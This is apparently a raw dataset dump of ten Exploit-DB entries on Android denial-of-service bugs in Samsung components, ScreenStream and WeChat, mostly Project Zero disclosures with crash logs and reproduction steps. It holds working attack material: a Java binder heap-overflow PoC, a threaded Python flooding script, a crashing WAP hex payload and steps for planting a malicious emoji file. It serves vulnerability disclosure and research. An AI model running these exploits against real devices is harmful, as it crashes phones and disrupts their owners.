deardaniel/secdata-raw huggingface dataset:
Exploit-DB #40913
Description: Samsung Devices KNOX Extensions - OTP Service Heap Overflow
Type: dos
Platform: android
Date: 2016-12-13
Author: Google Security Research

Exploit:
/**
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=935

As a part of the KNOX extensions available on Samsung devices, Samsung provides a new service which allows the generation of OTP tokens.

The tokens themselves are generated in a TrustZone application within the TEE (UID: fffffffff[PII_REDACTED][PII_REDACTED]01e). However, in order to allow easy communication between the Non-secure World (NWD) and the Secure-World (SW) trustlet, a new server has been created. This server, called "otp_server", publishes a binder service called "OTP". 

The service provides a single command via binder (command code 2), which allows a client to provide a buffer from the NWD to be sent to the SW. The requests are serialized to the parcel as a 32-bit length field, followed by the actual request data.

However, "otp_server" does not validate the request length field at all, allowing an attacker to specify any value. This length field is then used in a "memcpy" call in order to copy the data from the parcel to an internal heap-allocated buffer.

On the device I'm working on (SM-G925V), the "OTP" service can be accessed from any user, and the "otp_server" process runs with UID system and context "u:r:otp_server:s0".

I've attached a small PoC which can be used to trigger the overflow. Running it should crash "otp_server".
*/

package com.example.laginimaineb.otp;

import android.os.IBinder;
import android.os.Parcel;
import android.os.RemoteException;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;

public class MainActivity extends AppCompatActivity {

	/**
 	 * The logtag used.
	 */ 
	private static final String LOGTAG = "OTP_TEST";

	/**
 	 * The name of the OTP binder service.
	 */
	private static final String INTERFACE_DESCRIPTOR = "OTP";

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_main);

		try {
			//Getting the binder
			Class smClass = Class.forName("android.os.ServiceManager");
			IBinder binder = (IBinder) smClass.getMethod("getService", String.class).invoke(null, INTERFACE_DESCRIPTOR);

			//Creating a connection
			Parcel parcel = Parcel.obtain();
			Parcel reply = Parcel.obtain();
			parcel.writeInterfaceToken(INTERFACE_DESCRIPTOR);
			int length = 0xFFFF;
			parcel.writeInt(length); //Buffer length
			for (int i = 0; i < length/4 + 1; i++)
				parcel.writeInt(0xABABABAB);
			binder.transact(2, parcel, reply, 0);
			reply.recycle();
			parcel.recycle();

		} catch (RemoteException ex) {
		    Log.e(LOGTAG, "Failed to communicate with remote binder", ex);
		}
	}
}
Exploit-DB #38557
Description: Samsung fimg2d - FIMG2D_BITBLT_BLIT ioctl Concurrency Flaw
Type: dos
Platform: android
Date: 2015-10-28
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=492

The Samsung Graphics 2D driver (/dev/fimg2d) is accessible by unprivileged users/applications. It was found that the ioctl implementation for this driver contains a locking error which can lead to memory errors (such as use-after-free) due to a race condition.

The key observation is in the locking routine definitions in fimg2d.h:

#ifdef BLIT_WORKQUE
#define g2d_lock(x)             do {} while (0)
#define g2d_unlock(x)           do {} while (0)
#define g2d_spin_lock(x, f)     spin_lock_irqsave(x, f)
#define g2d_spin_unlock(x, f)   spin_unlock_irqrestore(x, f)
#else
#define g2d_lock(x)             mutex_lock(x)
#define g2d_unlock(x)           mutex_unlock(x)
#define g2d_spin_lock(x, f)     do { f = 0; } while (0)
#define g2d_spin_unlock(x, f)   do { f = 0; } while (0)
#endif

This means that the g2d_lock/g2d_unlock routines are no-ops when BLIT_WORKQUE is defined, which appears to be the default configuration. Unfortunately the alternative spin lock routines are not used consistently with this configuration. For example, the FIMG2D_BITBLT_BLIT ioctl command (with notes annotated as "PZ"):

ctx = file->private_data; /* PZ: ctx allocated at open(), lives on the heap. */

switch (cmd) {
case FIMG2D_BITBLT_BLIT:

	mm = get_task_mm(current);
	if (!mm) {
		fimg2d_err("no mm for ctx\n");
		return -ENXIO;
	}

	g2d_lock(&ctrl->drvlock); /* PZ: This is a no-op. */

	ctx->mm = mm;

	ret = fimg2d_add_command(ctrl, ctx, (struct fimg2d_blit __user *)arg);
	if (ret) {
		...
	}

	ret = fimg2d_request_bitblt(ctrl, ctx); /* PZ: Does stuff with the ctx. */
	if (ret) {
		...
	}

	g2d_unlock(&ctrl->drvlock); /* PZ: Another no-op */

As the lock macros are no-ops, a second process can change ctx->mm when the original process is still using the same ctx->mm (as long as it has access to the same file descriptor).

Reproduction steps:
Open /dev/fimg2d
Fork to get two processes with different mm’s with the access to the fd
Concurrently call the FIMG2D_BITBLT_BLIT ioctl from both processes.
One ioctl should have valid data, the other should fail

At this point ctx->mm will now have invalid or free data (free if the forked process dies). Proof-of-concept code to trigger this condition is attached (fimg2d-lock.c)

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38557.zip
Exploit-DB #39425
Description: Samsung Galaxy S6 - 'android.media.process' 'MdConvertLine' Face Recognition Memory Corruption
Type: dos
Platform: android
Date: 2016-02-08
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=616

The attached file causes memory corruption when iy is scanned by the face recognition library in android.media.process

F/libc    ( 4134): Fatal signal 11 (SIGSEGV), code 1, fault addr 0x[PII_REDACTED]3358 in tid 12161 (syncThread)
I/DEBUG   ( 3021): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
I/DEBUG   ( 3021): Build fingerprint: 'Verizon/zeroltevzw/zeroltevzw:5.1.1/LMY47X/G925VVRU4BOG9:user/release-keys'
I/DEBUG   ( 3021): Revision: '10'
I/DEBUG   ( 3021): ABI: 'arm64'
I/DEBUG   ( 3021): pid: 4134, tid: 12161, name: syncThread  >>> android.process.media <<<
I/DEBUG   ( 3021): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x[PII_REDACTED]3358
I/DEBUG   ( 3021):     x0   [PII_REDACTED]  x1   0000007f714b6800  x2  [PII_REDACTED]00001f  x3   [PII_REDACTED]
I/DEBUG   ( 3021):     x4   0000007f817fedb8  x5   0000007f7c1f4ea8  x6   0000007f7c1f4ec0  x7   0000007f7c109680
I/DEBUG   ( 3021):     x8   304b[PII_REDACTED]33  x9   [PII_REDACTED]  x10  [PII_REDACTED]  x11  0103304b33333333
I/DEBUG   ( 3021):     x12  [PII_REDACTED]  x13  [PII_REDACTED]  x14  [PII_REDACTED]  x15  [PII_REDACTED]
I/DEBUG   ( 3021):     x16  0000007f74bfe828  x17  0000007f8c086008  x18  0000007f8c13b830  x19  0000007f7c279a00
I/DEBUG   ( 3021):     x20  [PII_REDACTED]  x21  0000007f7c1036a0  x22  0000007f817ff440  x23  0000007f7c279a10
I/DEBUG   ( 3021):     x24 [PII_REDACTED]d231a0  x25  [PII_REDACTED]  x26 [PII_REDACTED]d28880  x27  [PII_REDACTED]
I/DEBUG   ( 3021):     x28  [PII_REDACTED]  x29  0000007f817fecb0  x30  0000007f740be014
I/DEBUG   ( 3021):     sp   0000007f817fecb0  pc   0000007f740cefdc  pstate [PII_REDACTED]
I/DEBUG   ( 3021): 
I/DEBUG   ( 3021): backtrace:
I/DEBUG   ( 3021):     #00 pc[PII_REDACTED]065fdc  /system/lib64/libfacerecognition.so (MdConvertLine+28)
I/DEBUG   ( 3021):     #01 pc [PII_REDACTED]  /system/lib64/libfacerecognition.so (MCC_Process+160)

To reproduce, download the attached file and wait, or trigger media scanning by calling:

adb shell am broadcast -a android.intent.action.MEDIA_MOUNTED -d file:///mnt/shell/emulated/0/


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39425.zip
Exploit-DB #38611
Description: Samsung Galaxy S6 - android.media.process Face Recognition Memory Corruption
Type: dos
Platform: android
Date: 2015-11-03
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=499

The attached files cause memory corruption when they are scanned by the face recognition library in android.media.process.

From faces-art.bmp

F/libc    (11305): Fatal signal 11 (SIGSEGV), code 1, fault addr 0x0 in tid 11555 (Thread-1136)
I/DEBUG   ( 2955): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
I/DEBUG   ( 2955): Build fingerprint: 'Verizon/zeroltevzw/zeroltevzw:5.0.2/LRX22G/G925VVRU2AOF1:user/release-keys'
I/DEBUG   ( 2955): Revision: '10'
I/DEBUG   ( 2955): ABI: 'arm64'
I/DEBUG   ( 2955): pid: 11305, tid: 11555, name: Thread-1136  >>> android.process.media <<<
I/DEBUG   ( 2955): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x0
I/DEBUG   ( 2955):     x0   0000007f94ca2100  x1   0000007f94c63480  x2   0000007f94c0e200  x3   [PII_REDACTED]
I/DEBUG   ( 2955):     x4   [PII_REDACTED]  x5   [PII_REDACTED]  x6  [PII_REDACTED]00003f  x7   [PII_REDACTED]
I/DEBUG   ( 2955):     x8   0000007f94c0e240  x9   [PII_REDACTED]  x10 [PII_REDACTED]00003b  x11 [PII_REDACTED]00003a
I/DEBUG   ( 2955):     x12  0000007f94c02080  x13  00000000ffffffff  x14  0000007f94c02080  x15 [PII_REDACTED]51c5e8
I/DEBUG   ( 2955):     x16  0000007f885fe900  x17  0000007f9ee60d80  x18  0000007f9eed5a40  x19  0000007f94c1d100
I/DEBUG   ( 2955):     x20  [PII_REDACTED]  x21  0000007f94c65150  x22  0000007f949d0550  x23  0000007f94c1d110
I/DEBUG   ( 2955):     x24 [PII_REDACTED]d39070  x25  [PII_REDACTED]  x26 [PII_REDACTED]d23b80  x27  [PII_REDACTED]
I/DEBUG   ( 2955):     x28  [PII_REDACTED]  x29  0000007f949cfd70  x30  0000007f87acd200
I/DEBUG   ( 2955):     sp   0000007f949cfd70  pc   [PII_REDACTED]  pstate [PII_REDACTED]
I/DEBUG   ( 2955): 
I/DEBUG   ( 2955): backtrace:
I/DEBUG   ( 2955):     #00 pc [PII_REDACTED]  <unknown>
I/DEBUG   ( 2955):     #01 pc [PII_REDACTED]  <unknown>
I/DEBUG   ( 2955):     #02 pc 26221b0826221b08  <unknown>

To reproduce, download the attached file and wait, or trigger media scanning by calling:

adb shell am broadcast -a android.intent.action.MEDIA_MOUNTED -d file:///mnt/shell/emulated/0/

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38611.zip
Exploit-DB #38613
Description: Samsung Galaxy S6 Samsung Gallery - Bitmap Decoding Crash
Type: dos
Platform: android
Date: 2015-11-03
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=497

Loading the bitmap bmp_memset.bmp can cause a crash due to a memset writing out of bounds.

I/DEBUG   ( 2961): pid: 12383, tid: 12549, name: thread-pool-1  >>> com.sec.android.gallery3d <<<
I/DEBUG   ( 2961): signal 11 (SIGSEGV), code 2 (SEGV_ACCERR), fault addr 0x89e84000

I/DEBUG   ( 2961):     x0  [PII_REDACTED]e8117c  x1  [PII_REDACTED]0000ff  x2  [PII_REDACTED]7fe13c  x3  [PII_REDACTED]e8117c
I/DEBUG   ( 2961):     x4   [PII_REDACTED]  x5   0000007f65f42300  x6   [PII_REDACTED]  x7   ffffffffffffffff
I/DEBUG   ( 2961):     x8  [PII_REDACTED]e83ff0  x9   0000007f65f020b0  x10 [PII_REDACTED]00003c  x11 [PII_REDACTED]00003b
I/DEBUG   ( 2961):     x12  0000007f65f02080  x13  00000000ffffffff  x14  0000007f65f02080  x15 [PII_REDACTED]0061e0
I/DEBUG   ( 2961):     x16  0000007f6baccc10  x17  0000007f958f8d80  x18  0000007f9596da40  x19  0000007f65f0e180
I/DEBUG   ( 2961):     x20  0000007f65f54020  x21 [PII_REDACTED]2f0020  x22  [PII_REDACTED]  x23 [PII_REDACTED]e00400
I/DEBUG   ( 2961):     x24  [PII_REDACTED]  x25  0000007f65f42300  x26  [PII_REDACTED]  x27  0000007f65f52080
I/DEBUG   ( 2961):     x28 [PII_REDACTED]0001da  x29  [PII_REDACTED]  x30  0000007f6ba7e40c
I/DEBUG   ( 2961):     sp   0000007f66796130  pc   0000007f958f8e28  pstate [PII_REDACTED]
I/DEBUG   ( 2961): 
I/DEBUG   ( 2961): backtrace:
I/InjectionManager(12532): Inside getClassLibPath caller 
I/DEBUG   ( 2961):     #00 pc[PII_REDACTED]019e28  /system/lib64/libc.so (memset+168)
I/DEBUG   ( 2961):     #01 pc [PII_REDACTED]  /system/lib64/libSecMMCodec.so (sbmpd_decode_rle_complete+64)
I/DEBUG   ( 2961):     #02 pc [PII_REDACTED]  /system/lib64/libSecMMCodec.so (DecodeFile+120)
I/DEBUG   ( 2961):     #03 pc[PII_REDACTED]00c90c  /system/lib64/libSecMMCodec.so (Java_com_sec_samsung_gallery_decoder_SecMMCodecInterface_nativeDecode+436)
I/DEBUG   ( 2961):     #04 pc[PII_REDACTED]42ec00  /system/priv-app/SecGallery2015/arm64/SecGallery2015.odex

To reproduce, download the file and open it in Gallery.

This issue was tested on a SM-G925V device running build number LRX22G.G925VVRU1AOE2. 

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38613.zip
Exploit-DB #38610
Description: Samsung Galaxy S6 Samsung Gallery - GIF Parsing Crash
Type: dos
Platform: android
Date: 2015-11-03
Author: Google Security Research

Exploit:
Source: https://code.google.com/p/google-security-research/issues/detail?id=500

There is a crash when the Samsung Gallery application load the attached GIF, colormap.gif.

D/skia    (10905): GIF - Parse error
D/skia    (10905): --- decoder->decode returned false
F/libc    (10905): Fatal signal 11 (SIGSEGV), code 2, fault addr 0x89f725ac in tid 11276 (thread-pool-0)
I/DEBUG   ( 2958): pid: 10905, tid: 11276, name: thread-pool-0  >>> com.sec.android.gallery3d <<<
I/DEBUG   ( 2958): signal 11 (SIGSEGV), code 2 (SEGV_ACCERR), fault addr 0x89f725ac
I/DEBUG   ( 2958):     x0   [PII_REDACTED]  x1  [PII_REDACTED]f725ac  x2   [PII_REDACTED]  x3   00000000fff9038c
I/DEBUG   ( 2958):     x4   0000007f9c300000  x5  [PII_REDACTED]00001f  x6   [PII_REDACTED]  x7   0000007f9c620048
I/DEBUG   ( 2958):     x8   [PII_REDACTED]  x9   [PII_REDACTED]  x10  [PII_REDACTED]  x11  [PII_REDACTED]
I/DEBUG   ( 2958):     x12  [PII_REDACTED]  x13  [PII_REDACTED]  x14 [PII_REDACTED]0000a5  x15 [PII_REDACTED]00001f
I/DEBUG   ( 2958):     x16  00000000ffffe4e3  x17 [PII_REDACTED]0000a5  x18  0000007f9c300000  x19  0000007f9c61fc00
I/DEBUG   ( 2958):     x20  0000007f9c664080  x21 [PII_REDACTED]e76b2c  x22 [PII_REDACTED]00003b  x23  [PII_REDACTED]
I/DEBUG   ( 2958):     x24  [PII_REDACTED]  x25  [PII_REDACTED]  x26  [PII_REDACTED]  x27  0000007f9c664080
I/DEBUG   ( 2958):     x28 [PII_REDACTED]0001da  x29 [PII_REDACTED]e89ae0  x30  0000007faad70e64
I/DEBUG   ( 2958):     sp   0000007f9cfff170  pc   0000007faad72dbc  pstate [PII_REDACTED]
I/DEBUG   ( 2958): 
I/DEBUG   ( 2958): backtrace:
I/DEBUG   ( 2958):     #00 pc[PII_REDACTED]02ddbc  /system/lib64/libSecMMCodec.so (ColorMap+200)
I/DEBUG   ( 2958):     #01 pc[PII_REDACTED]02be60  /system/lib64/libSecMMCodec.so (decodeGIF+340)
I/DEBUG   ( 2958):     #02 pc[PII_REDACTED]00c90c  /system/lib64/libSecMMCodec.so (Java_com_sec_samsung_gallery_decoder_SecMMCodecInterface_nativeDecode+436)
I/DEBUG   ( 2958):     #03 pc[PII_REDACTED]42ec00  /system/priv-app/SecGallery2015/arm64/SecGallery2015.odex

To reproduce, download the file and open it in Gallery

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38610.zip
Exploit-DB #44724
Description: Samsung Galaxy S7 Edge - Overflow in OMACP WbXml String Extension Processing
Type: dos
Platform: android
Date: 2018-05-23
Author: Google Security Research

Exploit:
OMACP is a protocol supported by many mobile devices which allows them to receive provisioning information over the mobile network. One way to provision a device is via a WAP push SMS message containing provisioning information in WbXML.

A malformed OMACP WAP push message can cause memory corruption on a Samsung S7 Edge device when processing the String Extension portion of the WbXml payload. This is due to an integer overflow in memory allocation for this string.

While OMACP WAP pushes require authentication, the entire WbXml payload of a push is parsed to extract the credentials, so this bug occurs pre-authentication.

To reproduce the issue:

1) install the attached Android application on a different phone than the one being tested for the issue
2) manually give the application SMS permissions in the settings screen
3) start the app and enter the phone number on the target device
4) press the "send wap push" button

The target phone will crash:

02-20 15:52:56.952 15197 15197 F DEBUG   : pid: 15180, tid: 15196, name: IntentService[S  >>> com.wsomacp <<<
02-20 15:52:56.952 15197 15197 F DEBUG   : signal 11 (SIGSEGV), code 2 (SEGV_ACCERR), fault addr 0x731a800000

The WAP payload causing this problem is:

690b6d0733b401506694f4c6504cf6be7224df6199a9c0ec4b76db1f6e262c457fc0553dbb50863dfce2d5c55077c3ffffffff7f777777770A0604B6B6B6B6.

Code for the test app is also attached.

This was tested on Samsung build number NRD90M.G93FXXU1DQJ8, which is the most recent update on my device


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44724.zip
Exploit-DB #46443
Description: ScreenStream 3.0.15 - Denial of Service
Type: dos
Platform: android
Date: 2019-02-21
Author: s4vitar

Exploit:
#!/usr/bin/python
#coding: utf-8

# ************************************************************************
# *                Author: Marcelo Vázquez (aka s4vitar)                 *
# *         ScreenStream 3.0.15 Remote Denial of Service (DoS)           *
# ************************************************************************

# Exploit Title: ScreenStream 3.0.15 Remote Denial of Service (DoS)
# Date: 2019-02-21
# Exploit Author: Marcelo Vázquez (aka s4vitar)
# Vendor Homepage: http://mobzapp.com/mirroring/index.html
# Software Link: https://play.google.com/store/apps/details?id=info.dvkr.screenstream&hl=en
# Version: <= ScreenStream 3.0.15
# Tested on: Android

import sys, requests, threading, signal

def handler(signum, frame):
        print '\nFinishing program...\n'
        sys.exit(0)

if len(sys.argv) != 3:
	print "\nUsage: python " + sys.argv[0] + " <ip_address> <port>\n"
	print "Example: python " + sys.argv[0] + " 192.168.1.125 8080\n"
	sys.exit(0)

def startAttack(url):
	url_destination = url + '/start-stop'
	headers = {'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'en-US,en;q=0.5', 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0', 'Accept': '*/*', 'Referer': url, 'Connection': 'close'}

	r = requests.post(url_destination, headers=headers)

if __name__ == '__main__':

	signal.signal(signal.SIGINT, handler)
	url = 'http://' + sys.argv[1] + ':' + sys.argv[2]

	threads = []

	for i in xrange(0, 10000):
		t = threading.Thread(target=startAttack, args=(url,))
		threads.append(t)

	for x in threads:
		x.start()

	for x in threads:
		x.join()
Exploit-DB #47920
Description: WeChat - Memory Corruption in CAudioJBM::InputAudioFrameToJBM
Type: dos
Platform: android
Date: 2020-01-14
Author: Google Security Research

Exploit:
There is a memory corruption vulnerability in audio processing during a voice call in WeChat. When an RTP packet is processed, there is a call to UnpacketRTP. This function decrements the length of the packet by 12 without checking that the packet has at least 12 bytes in it. This leads to a negative packet length. Then, CAudioJBM::InputAudioFrameToJBM will check that the packet size is smaller than the size of a buffer before calling memcpy, but this check (n < 300) does not consider that the packet length could be negative due to the previous error. This leads to an out-of-bounds copy.

To reproduce the bug:

1) install and run frida on the caller Android device and a desktop host (https://www.frida.re)
2) copy the filed in the attached directory to /data/local/tmp/packs/, so that /data/local/tmp/packs/opack0 exists
3) run "setenforce 0" on the caller device
4) extract replay.py and replay.js into the same directory on a desktop host and run:

python3 replay.py DEVICENAME

Wait for the word "READY" to display.

If you don't know your device name, you can list device names by running:

python3 replay.py

5) start a voice call and answer it on the target device. A crash will occur in about 10 seconds.

A crash log is attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47920.zip
Exploit-DB #46853
Description: WeChat for Android 7.0.4 - 'vcodec2_hls_filter' Denial of Service
Type: dos
Platform: android
Date: 2019-05-16
Author: Hong Nhat Pham

Exploit:
# Exploit Title: DoS Wechat with an emoji
# Date: 16-May-2019
# Exploit Author: Hong Nhat Pham
# Vendor Homepage: http://www.tencent.com/en-us/index.html
# Software Link: https://play.google.com/store/apps/details?id=com.tencent.mm
# Version: 7.0.4
# Tested on: Android 9.0
# CVE : CVE-2019-11419

Description:
vcodec2_hls_filter in libvoipCodec_v7a.so in WeChat application for
Android results in a DoS by replacing an emoji file (under the
/sdcard/tencent/MicroMsg directory) with a crafted .wxgf file.
Crash-log is provided in poc.zip file at
https://drive.google.com/open?id=1HFQtbD10awuUicdWoq3dKVKfv0wvxOKS

Vulnerability Type:
Denial of Service

Vendor of Product:
Tencent

Affected Product Code Base:
WeChat for Android - Up to latest version (7.0.4)

Affected Component:
Function vcodec2_hls_filter in libvoipCodec_v7a.so

Attack Type:
Local

Attack vector:
An malware app can crafts a malicious emoji file and overwrites the
emoji files under /sdcard/tencent/MicroMsg/[User_ID]/emoji/[WXGF_ID].
Once the user opens any chat messages that contain an emoji, WeChat
will instantly crash.

POC:
Video at https://drive.google.com/open?id=1x1Z3hm4j8f4rhv_WUp4gW-bhdtZMezdU

User must have sent or received a GIF file in WeChat
Malware app must retrieve the phone’s IMEI. For POC, we can use the
below command
adb shell service call iphonesubinfo 1 | awk -F "'" '{print $2}' | sed
'1 d' | tr -d '.' | awk '{print}' ORS=-
Produce the malicious emoji file with the retrieved IMEI (use
encrypt_wxgf.py in poc.zip):
python encrypt.py crash4.wxgf [SIZE_OF_EMOJI_ON_SDCARD]
Replace /sdcard/tencent/MicroMsg/[User_ID]/emoji/[WXGF_ID] with the
padded out.wxgf.encrypted
WeChat will crash now if a message that contains the overwritten emoji file


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46853.zip